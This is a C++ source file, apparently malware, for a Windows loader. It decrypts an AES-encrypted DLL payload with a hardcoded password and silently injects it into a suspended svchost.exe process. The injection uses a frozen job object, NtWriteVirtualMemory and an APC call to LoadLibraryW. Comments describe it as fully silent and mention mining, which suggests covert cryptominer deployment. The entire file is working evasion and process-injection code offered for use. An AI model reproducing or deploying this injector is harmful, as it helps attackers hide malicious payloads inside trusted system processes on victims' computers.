// Windows-only AES-decrypting DLL injector #include #include #include #include #include #include #include #include // Read encrypted DLL payload data from files #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #define JobObjectFreezeInformation 18 typedef const OBJECT_ATTRIBUTES* PCOBJECT_ATTRIBUTES; typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE, PVOID, PVOID, PVOID, PVOID); typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG); typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemoryEx)(HANDLE, PVOID*, PSIZE_T, ULONG, ULONG, PVOID, ULONG); typedef NTSTATUS(NTAPI* pSetInformationJobObject)(HANDLE, JOBOBJECTINFOCLASS, PVOID, ULONG); typedef NTSTATUS(NTAPI* pNtCreateJobObject)(PHANDLE, ACCESS_MASK, PCOBJECT_ATTRIBUTES); std::vector readFile(const std::string& filename) { HANDLE hFile = CreateFileA(filename.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { return std::vector(); } DWORD fileSize = GetFileSize(hFile, NULL); std::vector data(fileSize); DWORD bytesRead; ReadFile(hFile, data.data(), fileSize, &bytesRead, NULL); CloseHandle(hFile); return data; } HMODULE hNtDll = GetModuleHandleA("ntdll.dll"); pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)GetProcAddress(hNtDll, "NtQueueApcThread"); pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtDll, "NtWriteVirtualMemory"); pNtAllocateVirtualMemoryEx NtAllocateVirtualMemoryEx = (pNtAllocateVirtualMemoryEx)GetProcAddress(hNtDll, "NtAllocateVirtualMemoryEx"); pSetInformationJobObject NtSetInformationJobObject = (pSetInformationJobObject)GetProcAddress(hNtDll, "NtSetInformationJobObject"); pNtCreateJobObject NtCreateJobObject = (pNtCreateJobObject)GetProcAddress(hNtDll, "NtCreateJobObject"); typedef struct _JOBOBJECT_FREEZE_INFORMATION { union { ULONG Flags; struct { ULONG FreezeOperation : 1; ULONG FilterOperation : 1; ULONG SwapOperation : 1; ULONG Reserved : 29; }; }; BOOLEAN Freeze; BOOLEAN Swap; UCHAR Reserved0[2]; struct { ULONG HighEdgeFilter; ULONG LowEdgeFilter; } WakeFilter; } JOBOBJECT_FREEZE_INFORMATION, *PJOBOBJECT_FREEZE_INFORMATION; // AES-CBC Decryption class for Windows class AESDecryptor { private: std::vector key; bool deriveKey(const std::string& password, const std::vector& salt) { HCRYPTPROV hProv = 0; HCRYPTHASH hHash = 0; if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { return false; } if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) { CryptReleaseContext(hProv, 0); return false; } // Hash password if (!CryptHashData(hHash, (BYTE*)password.c_str(), password.length(), 0)) { CryptDestroyHash(hHash); CryptReleaseContext(hProv, 0); return false; } // Hash salt if (!CryptHashData(hHash, salt.data(), salt.size(), 0)) { CryptDestroyHash(hHash); CryptReleaseContext(hProv, 0); return false; } DWORD hashLen = 32; std::vector hash(hashLen); if (!CryptGetHashParam(hHash, HP_HASHVAL, hash.data(), &hashLen, 0)) { CryptDestroyHash(hHash); CryptReleaseContext(hProv, 0); return false; } CryptDestroyHash(hHash); CryptReleaseContext(hProv, 0); // Use first 16 bytes for AES-128 key.assign(hash.begin(), hash.begin() + 16); return true; } public: std::vector decrypt(const std::vector& ciphertext, const std::vector& iv, const std::vector& salt, const std::string& password) { if (!deriveKey(password, salt)) { return std::vector(); } // Use CryptDeriveKey for decryption HCRYPTPROV hProv = 0; HCRYPTHASH hHash = 0; HCRYPTKEY hKey = 0; if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { return std::vector(); } if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) { CryptReleaseContext(hProv, 0); return std::vector(); } // Hash password if (!CryptHashData(hHash, (BYTE*)password.c_str(), password.length(), 0)) { CryptDestroyHash(hHash); CryptReleaseContext(hProv, 0); return std::vector(); } // Hash salt if (!CryptHashData(hHash, salt.data(), salt.size(), 0)) { CryptDestroyHash(hHash); CryptReleaseContext(hProv, 0); return std::vector(); } if (!CryptDeriveKey(hProv, CALG_AES_128, hHash, 0, &hKey)) { CryptDestroyHash(hHash); CryptReleaseContext(hProv, 0); return std::vector(); } CryptDestroyHash(hHash); DWORD mode = CRYPT_MODE_CBC; if (!CryptSetKeyParam(hKey, KP_MODE, (BYTE*)&mode, 0)) { CryptDestroyKey(hKey); CryptReleaseContext(hProv, 0); return std::vector(); } if (!CryptSetKeyParam(hKey, KP_IV, (BYTE*)iv.data(), 0)) { CryptDestroyKey(hKey); CryptReleaseContext(hProv, 0); return std::vector(); } std::vector plaintext(ciphertext.size()); DWORD dataLen = ciphertext.size(); memcpy(plaintext.data(), ciphertext.data(), dataLen); if (!CryptDecrypt(hKey, 0, TRUE, 0, plaintext.data(), &dataLen)) { CryptDestroyKey(hKey); CryptReleaseContext(hProv, 0); return std::vector(); } plaintext.resize(dataLen); CryptDestroyKey(hKey); CryptReleaseContext(hProv, 0); return plaintext; } }; // Embedded encrypted payload (generated by crypt tool) // Embedded encrypted payload (generated by crypt tool) // Data is included via header files int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { // FULLY SILENT — no console // Read the encrypted DLL file std::vector data = readFile("encrypted_dll.dll"); if (data.size() < 52) { return 1; // Invalid file } std::vector salt(data.begin(), data.begin() + 32); std::vector iv(data.begin() + 32, data.begin() + 48); uint32_t ciphertext_len = *reinterpret_cast(&data[48]); std::vector ciphertext(data.begin() + 52, data.begin() + 52 + ciphertext_len); // Verify size if (ciphertext.size() != ciphertext_len) { return 1; // Invalid size } // Decrypt using hardcoded password (change this!) AESDecryptor decryptor; std::string password = "YourSecureMasterPassword123!"; std::vector decrypted_dll = decryptor.decrypt(ciphertext, iv, salt, password); // For testing: write decrypted DLL to file HANDLE hFile = CreateFileA("decrypted.dll", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { DWORD bytesWritten; WriteFile(hFile, decrypted_dll.data(), decrypted_dll.size(), &bytesWritten, NULL); CloseHandle(hFile); } if (decrypted_dll.empty()) { return 1; // Decryption failed - invalid password or corrupted data } // Windows: Use decrypted data as DLL path (wide string) const wchar_t* dllPath; if (decrypted_dll.size() >= sizeof(wchar_t)) { dllPath = reinterpret_cast(decrypted_dll.data()); } else { // Fallback to hardcoded path if decryption gives unexpected result dllPath = L"decrypted.dll"; } SIZE_T dllPathLen = (wcslen(dllPath) + 1) * sizeof(wchar_t); SIZE_T regionSize = dllPathLen; HANDLE hJob = NULL; NtCreateJobObject(&hJob, MAXIMUM_ALLOWED, NULL); JOBOBJECT_FREEZE_INFORMATION freezeInfo = { 0 }; freezeInfo.FreezeOperation = 1; freezeInfo.Freeze = TRUE; NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo)); STARTUPINFOEXW siEx = { sizeof(siEx) }; SIZE_T attrListSize = 0; InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize); siEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrListSize); InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, &attrListSize); UpdateProcThreadAttribute(siEx.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_JOB_LIST, &hJob, sizeof(HANDLE), NULL, NULL); PROCESS_INFORMATION pi = { 0 }; CreateProcessW( L"C:\\Windows\\System32\\svchost.exe", // or dllhost.exe / notepad.exe NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (STARTUPINFOW*)&siEx, &pi ); DeleteProcThreadAttributeList(siEx.lpAttributeList); HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList); PVOID remoteMemory = NULL; NtAllocateVirtualMemoryEx(pi.hProcess, &remoteMemory, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, NULL, 0); NtWriteVirtualMemory(pi.hProcess, remoteMemory, (PVOID)dllPath, dllPathLen, NULL); FARPROC loadLibAddr = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW"); NtQueueApcThread(pi.hThread, (PVOID)loadLibAddr, remoteMemory, NULL, NULL); // INSTANT UNFREEZE — no user input freezeInfo.Freeze = FALSE; NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo)); ResumeThread(pi.hThread); // optional: resume main thread (not needed for mining) CloseHandle(hJob); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return 0; }